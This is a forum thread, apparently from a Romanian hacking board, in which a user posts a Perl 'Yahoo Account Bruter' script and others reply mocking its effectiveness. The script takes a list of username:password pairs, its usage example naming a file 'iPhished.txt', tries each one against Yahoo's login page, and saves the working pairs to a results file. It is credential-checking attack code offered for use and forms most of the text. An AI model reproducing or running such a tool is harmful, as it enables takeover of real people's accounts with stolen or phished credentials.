Jump to content
Gby

[Perl]Yahoo Account Bruter

Recommended Posts

Posted
#!/usr/bin/perl

#Yahoo! LOGIN SPECS

#USERNAME: 4-32 characters, Start with a letter. [Letters, Digits, Underscores and ONE dot]

#PASSWORD: 6-32 characters, no spaces



use HTTP::Cookies;

$myCookies = HTTP::Cookies->new();

use LWP::UserAgent;

my $ua = LWP::UserAgent->new;

$ua->cookie_jar($myCookies);

$ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.4');

push @{$ua->requests_redirectable}, 'POST';





sub usage{

print "[-] yahoo.pl <logins> (loginass format) <results>n";

print "[-] yahoo.pl iPhished.txt thanks.txtn";

die("[!] Incorrect usagen");

}



sub yahoo($$){

my $username = $_[0];

my $password = $_[1];

my $url = "https://login.yahoo.com/config/login?login=$username&passwd=$password";

my $login = $ua->get($url);

die("[!] Connection errorn") unless ($login->is_success);

if($login->content =~ m/<strong>Invalid ID or password.</strong><br> Please try again.</div>/){

return 0;

}

elsif($login->content =~ m/<body>nIf you are seeing this page, your browser settings prevent you nfrom automatically redirecting to a new URL./){

return 1;

}

elsif($login->content =~ m/Unable to/){

die("[!] Yahoo killed you!n");

}

}



if(@ARGV!= 2){

&usage;

}

else{

my $loginlist = $ARGV[0];

my $resultlist = $ARGV[1];

open("xfile", $loginlist) || die "Couldn't open $loginlistn";

while(my $line = <xfile>){

chomp($line);

if($line =~ m/[a-z0-9_.]@yahoo.com(.*?).+){6,32}$/i){

my @details = split(/:/,$line);

print "[-] Checking $details[0] : $details[1]t";

if(yahoo($details[0],$details[1])){

print "Successn";

open(LOG,">>$resultlist") || die "Couldn't open $resultlistn";

print LOG "$details[0]:$details[1]n";

close(LOG);

}

else{

print "Failuren";

}

}

}

}

Posted
Rename: [Perl] Yahoo Account Blocker. Fixed :)

Rename : [Perl] Yahoo Account Bruter

daca tu crezi ca asta e Blocker te inseli.. asta nu depinde de ala care o facut script-ul ca nu prinzi nimic.. incercari mai sunt :)

Posted (edited)
Rename : [Perl] Yahoo Account Bruter

daca tu crezi ca asta e Blocker te inseli.. asta nu depinde de ala care o facut script-ul ca nu prinzi nimic.. incercari mai sunt :)

cand iti blocheaza contul se termin si incercarile, daca ai tu bypass de ttt&r bine ar fi

chiar nu pot intelege pe ce baza faci tu script de auto ptr brute la servicii de genul asta cand stii prea bine cat de repede o sa ti moara aproape chiar de la intrare, doh

@Gby se numeste sarcasm, a zis bine deviance ca ar trebui redenumit in blocker dat fiind faptul ca in 99.9% din cazuri toate conturile ajung sa fie blocked, iar tu ai doar 0.01% sansa sa prinzi unul care o sa cada printre primele "100" de cuvinte din pwdlst, iar in acelasi timp tu ar trebui sa schimbi 1 ip pentru fiecare cont incercat, goodluck with that

die("[!] Yahoo pwned you & your script!n");

Edited by SnaK3

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...